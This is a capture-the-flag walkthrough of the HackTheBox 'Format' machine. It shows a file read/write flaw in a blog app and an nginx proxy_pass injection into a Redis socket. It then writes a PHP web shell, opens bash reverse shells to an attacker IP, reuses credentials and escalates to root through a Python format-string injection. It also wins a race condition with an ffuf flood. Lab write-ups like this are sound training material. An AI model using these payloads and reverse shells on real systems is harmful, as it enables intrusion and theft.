9 minutes
HackTheBox :: Format
Creator: coopertim13
Machine URL: https://app.hackthebox.com/machines/Format
Difficulty: Medium
Initial enumeration
We start with an nmap
scan.
# Nmap 7.93 scan initiated Sat May 13 21:04:30 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.184.80
Nmap scan report for app.microblog.htb (10.129.184.80)
Host is up, received echo-reply ttl 63 (0.066s latency).
Scanned at 2023-05-13 21:04:30 CEST for 28s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c397ce837d255d5dedb545cdf20b054f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC58JQV36v8AqpQB6tJC5upH5YdXw4LMaUJ4Exx+H6PjPZDab5MSx7Zm1oA1DWewM8tmU8fcprIxykYA8Z66Sd5ll/M1WntYO1b3LxxA0kI9F3yXQU+D2LMV6dGsqalJ80WWYcowlt3hZie6gnz4qEDj7ijCFi5h8K4R2rKtA16sH4FC9EQQU7qgN4WkE7uJSJS/6tWREtV/PspxsiMSBhUE0BreHurM6eaTZGa0VHOyNpbsZ3KXDro0fIOlfovRJVdAwWXF740M+X3aVngS9p1+XrnsVIqcL9T7GdU6H2Tyl5JvnGLdOr2Etd9NW41f+g+RYl7QY6WYbX+30racRmcTUtH4DODyeDXazi6fRUiXBI8pXkD3oLMBSxXsbeGT8Ja3LECPTybIl/jH3KRfl46P7TIUYZ2kqTZqxJ1B6klyZY+woh24UPDrZu/rW9JMaBz2tg97tAiLR8pLZxLrpVH7YmV8vXk2Sgo1rEuqKhBAK98bQuAsbocbjiyrKYAACc=
| 256 b3aa30352b997d20feb6758840a517c1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxL4FuxiK0hKkwexmffoZfwAs+0TzHjqgv3sbokWQzlt+YGLBXHmGuLjgjfi9Ir49zbxEL6iAOv8/Mj8hUPQVk=
| 256 fab37d6e1abcd14b68edd6e8976727d7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK9eUks4+f4DtePOKRJYzDggTf1cOpMhtAxXHGSqr5ng
80/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-title: Microblog
|_http-favicon: Unknown favicon MD5: 063BE1EA8C64ECDB76CF23C6CCC1ED39
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0
3000/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 13 21:04:59 2023 -- 1 IP address (1 host up) scanned in 28.91 seconds
Three ports are open:
- 22 for OpenSSH.
- 80 and 3000 for nginx.
We add microblog.htb to our /etc/hosts
nginx Web Server (TCP 80)
http://10.129.184.80 (machine IP) redirects us to app.microblog.htb – added to /etc/hosts.
app.microblog.htb
We are greeted by a page for the Microblog service.
The web application allows us to create a blog at *.microblog.htb
and edit it.
Source code
Contribute here! link (http://microblog.htb:3000/cooper/microblog) leads us to nginx on TCP 3000 that runs Gitea. This public repository seems to contain the source code for the microblog web application.
Let’s clone the source code so we can better analyze it:
┌──(fluff㉿kali)-[/tmp]
└─$ git clone http://microblog.htb:3000/cooper/microblog.git
Registration
We can register with no hurdles at http://app.microblog.htb/register/.
Logged in as fluffme
The dashboard at http://app.microblog.htb/dashboard/ allows us to create a new blog, as well as edit and view it.
Looks like if we are a Pro user, we get an extended functionality:
Unfortunately, the link to go Pro is not available. Looking at the source of microblog/app/register/index.php we see that pro
is hardcoded to be false
:
...
else {
$redis->HSET(trim($_POST['username']), "username", trim($_POST['username']));
$redis->HSET(trim($_POST['username']), "password", trim($_POST['password']));
$redis->HSET(trim($_POST['username']), "first-name", trim($_POST['first-name']));
$redis->HSET(trim($_POST['username']), "last-name", trim($_POST['last-name']));
$redis->HSET(trim($_POST['username']), "pro", "false"); //not ready yet, license keys coming soon
$_SESSION['username'] = trim($_POST['username']);
header("Location: /dashboard?message=Registration successful!&status=success");
}
...
Note that user data is stored in Redis. And redis is running on a UNIX socket:
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
Create and edit a blog
We can create blogs:
And edit them:
This concludes our initial look at the target.
The implementation of editing the blog looks weird in the source code.
Let’s look into it.
microblog/sunny/edit/index.php
When we add an element to our blog, we POST two parameters to /edit/index.php: id
and txt
.
The id
is a random string but we fully control it, and the txt
is the element contents.
...
//add text
if (isset($_POST['txt']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$txt_nl = nl2br($_POST['txt']);
$html = "<div class = \"blog-text\">{$txt_nl}</div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n");
fclose($order_file);
header("Location: /edit?message=Section added!&status=success");
}
...
The web application:
- Changes the working directory to ../content.
- Processes our
txt
POST parameter contents to modify the line breaks and wrap it in the<div>
. - And writes the resulting HTML to a file with the name specified in the
id
POST parameter. - Then it opens a file named order.txt and adds the contents of the
id
POST parameter to it.
microblog/sunny/index.php
Looking at the code that displays the content:
...
function fetchPage() {
chdir(getcwd() . "/content");
$order = file("order.txt", FILE_IGNORE_NEW_LINES);
$html_content = "";
foreach($order as $line) {
$temp = $html_content;
$html_content = $temp . "<div class = \"{$line}\">" . file_get_contents($line) . "</div>";
}
return $html_content;
}
...
We see that it parses the order.txt file and file_get_contents()
every line.
With all this in mind, we can safely assume that we have an Arbitrary file Read/Write on our hands.
Arbitrary File Read/Write in /edit/index.php
We can use this vulnerability to read any file our user has permission to read as well as write to any directory or file that we have write permissions over.
Let’s test it out.
POST /edit/index.php HTTP/1.1
Host: fluffme.microblog.htb
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
Cookie: username=8lqept5uv4ga0ltkhanv040iq7
Connection: close
id=/etc/passwd&txt=a
Success! We get the contents of /etc/passwd back and it will be displayed on our blog.
Attempting file write
After poking around and attempting to write to various locations that could be useful to me, I quickly discovered that write permissions are pretty strict.
However, if we can get the Pro status, we will have a good directory to write to – /uploads:
microblog/sunny/edit/index.php
...
function provisionProUser() {
if(isPro() === "true") {
$blogName = trim(urldecode(getBlogName()));
system("chmod +w /var/www/microblog/" . $blogName);
system("chmod +w /var/www/microblog/" . $blogName . "/edit");
system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}
...
Our goal now is to obtain Pro.
Reading nginx configuration
Let’s use our file-read capabilities to study some configuration files.
/etc/nginx/sites-enabled/default
...
server {
listen 80;
listen [::]:80;
root /var/www/microblog/app;
index index.html index.htm index-nginx-debian.html;
server_name microblog.htb;
location / {
return 404;
}
location = /static/css/health/ {
resolver 127.0.0.1;
proxy_pass http://css.microbucket.htb/health.txt;
}
location = /static/js/health/ {
resolver 127.0.0.1;
proxy_pass http://js.microbucket.htb/health.txt;
}
location ~ /static/(.*)/(.*) {
resolver 127.0.0.1;
proxy_pass http://$1.microbucket.htb/$2;
}
}
...
Added microbucket.htb to hosts. The proxy_pass
to http://$1.microbucket.htb/$2
looks very generous on the regex and the replacement.
Obtaining Pro: Redis key overwrite – UNIX socket injection in proxied host
From the source of the web application, we know that the Redis socket is located at /var/run/redis/redis.sock.
nginx’s proxy_pass
allows proxying requests to UNIX sockets with the syntax:
proxy_pass http://unix:/path/to/socket.file:/uri/;
As we can completely control the replacement of $1
in http://$1.microbucket.htb/$2;
it should be possible to communicate with Redis over the UNIX socket and change our user properties in the Redis database.
In particular, we want pro
to be true
so we can use our Arbitrary File Write vulnerability to execute code.
Relevant blog post: https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/
Testing
First, we will attempt to call our web server to prove that it works.
GET /static/10.10.14.99/a/a HTTP/1.1
Host: microblog.htb
User-Agent: Mozilla/5.0
Accept: */*
We get a request on our web server:
10.129.185.21 - - [15/May/2023 05:14:23] code 404, message File not found
10.129.185.21 - - [15/May/2023 05:14:23] "GET /a.microbucket.htb/a HTTP/1.0" 404
Exploitation
Send the following HTTP request to microblog.htb:
HSET /static/unix:/var/run/redis/redis.sock:fluffme pro true /a/a HTTP/1.1
Host: microblog.htb
User-Agent: Mozilla/5.0
Accept: */*
On the backend, after the proxy pass to Redis, this HTTP request becomes the following:
HSET fluffme pro true /a/a HTTP/1.1
This will make us a pro user of the web application:
Arbitrary File Write to obtain a shell
As a Pro user, now when we create a blog, we have read, write, and execute permissions in the uploads directory of our blog.
Any PHP file we write here should be executable by the web server.
POST /edit/index.php HTTP/1.1
Host: fluffme.microblog.htb
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
Cookie: username=8lqept5uv4ga0ltkhanv040iq7
Connection: close
id=../uploads/fluff.php&txt=<%3fphp+system($_GET["a"])%3b%3f>
┌──(fluff㉿kali)-[/tmp/format]
└─$ curl http://fluffme.microblog.htb/uploads/fluff.php?a=whoami
<div class = "blog-text">www-data
</div>
We have code execution as www-data.
Reverse shell
┌──(fluff㉿kali)-[/tmp/format]
└─$ curl 'http://fluffme.microblog.htb/uploads/fluff.php?a=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.99/443+0>%261"'
Foothold as www-data
Let’s see what else we can find in Redis:
www-data@format:/tmp$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> INFO keyspace
# Keyspace
db0:keys=2,expires=0,avg_ttl=0
redis /var/run/redis/redis.sock> SELECT 0
OK
redis /var/run/redis/redis.sock> KEYS *
1) "cooper.dooper:sites"
2) "cooper.dooper"
3) "fluffme:sites"
4) "fluffme"
redis /var/run/redis/redis.sock> HGETALL 'cooper.dooper'
1) "username"
2) "cooper.dooper"
3) "password"
4) "z<REDACTED>r"
5) "first-name"
6) "Cooper"
7) "last-name"
8) "Dooper"
9) "pro"
10) "false"
We have credentials for cooper.dooper.
This password is reused and we can su cooper
or SSH as cooper with it.
cooper
Grab a flag in ~/user.txt.
Checking sudo
cooper@format:~$ sudo -l
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
We are allowed to run /usr/bin/license as root.
license is a python script and we can read its contents.
Checking the code
...
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
...
secret = [line.strip() for line in open("/root/license/secret")][0]
...
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
...
print(license_key)
We can control values that are fetched from Redis as well as the username from arguments.
In the format string:
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
license
(l
) is an instance of the class License()
.
We can inject into a format string, obtain __globals__
from license
and read the value of the variable secret
.
Privilege Escalation to root
First, we need to change our last name in Redis:
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> select 0
OK
redis /var/run/redis/redis.sock> HSET fluffme last-name 'ME--{license.__init__.__globals__[secret]}'
(integer) 0
Note the format string {license.__init__.__globals__[secret]}
.
Note: you may need to re-register on the app.microblog.htb due to the cleanup jobs.
Now we run license as root:
cooper@format:~$ sudo /usr/bin/license -p fluff
Plaintext license key:
------------------------------------------------------
microblogfluffmeRs\O4U<b(%0dFRCTp3w0LA0M,1}8>NyK!r$F_^YgFluffME--u<REDACTED>d
...
The value of secret
is u<REDACTED>d
.
This secret is reused as a password to root.
We can su
or SSH with it.
Grab a flag in /root/root.txt and we are done!
Bonus: Unintended foothold – Race condition with write privileges during blog creation
This unintended way to obtain foothold worked during the box release window.
As with any race it is unrealiable and you may need to repeat it several times.
During creation of the new blog there is a short time when our user has write permissions over the folder until they are unset.
microblog/app/dashboard/index.php
...
function addSite($site_name) {
if(isset($_SESSION['username'])) {
...
chdir(getcwd() . "/../../../");
system("chmod +w microblog");
chdir(getcwd() . "/microblog/");
if(!is_dir($site_name)) {
mkdir($site_name, 0700);
}
system("cp -r /var/www/microblog-template/* /var/www/microblog/" . $site_name);
if(is_dir($site_name)) {
chdir(getcwd() . "/" . $site_name);
}
system("chmod +w content");
chdir(getcwd() . "/../");
system("chmod 500 " . $site_name);
chdir(getcwd() . "/../");
system("chmod -w microblog");
header("Location: /dashboard?message=Site added successfully!&status=success");
}
else {
header("Location: /dashboard?message=Site not added, authentication failed&status=fail");
}
}
...
In this brief window of having write permissions we can use the Arbitrary File Write in /edit/index.php to write a PHP file and later execute it.
Exploitation
We will bombard the server with file write requests via Arbitrary File Write vulnerability to /var/www/microblog/exploit/fluff.php.
At the same time will request the creation of exploit.microblog.htb on the dashboard.
To send a ton of request we will use ffuf
. This is a janky way to do it, but I couldn’t be bothered to write a python script XD.
┌──(fluff㉿kali)-[/opt/ctf/htb/format/exploit]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -ic -c -t 400 -e txt,bak,php,md,html,htm,zip -X POST -u 'http://fluffme.microblog.htb/edit/index.php' -d 'id=/var/www/microblog/exploit/fluff.php&txt=<%3fphp+system($_GET["a"])%3b+%3f>&fuzz=FUZZ' -b 'username=8lqept5uv4ga0ltkhanv040iq7' -mr pwnd -H 'Content-Type: application/x-www-form-urlencoded'
While this is running, we request creation of exploit.microblog.htb on http://app.microblog.htb/dashboard/.
After domain is created we can add exploit.microblog.htb to our /etc/hosts.
┌──(fluff㉿kali)-[/tmp/microblog]
└─$ curl 'http://exploit.microblog.htb/fluff.php?a=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.99/443+0>%261"' -v
We catch a shell as www-data.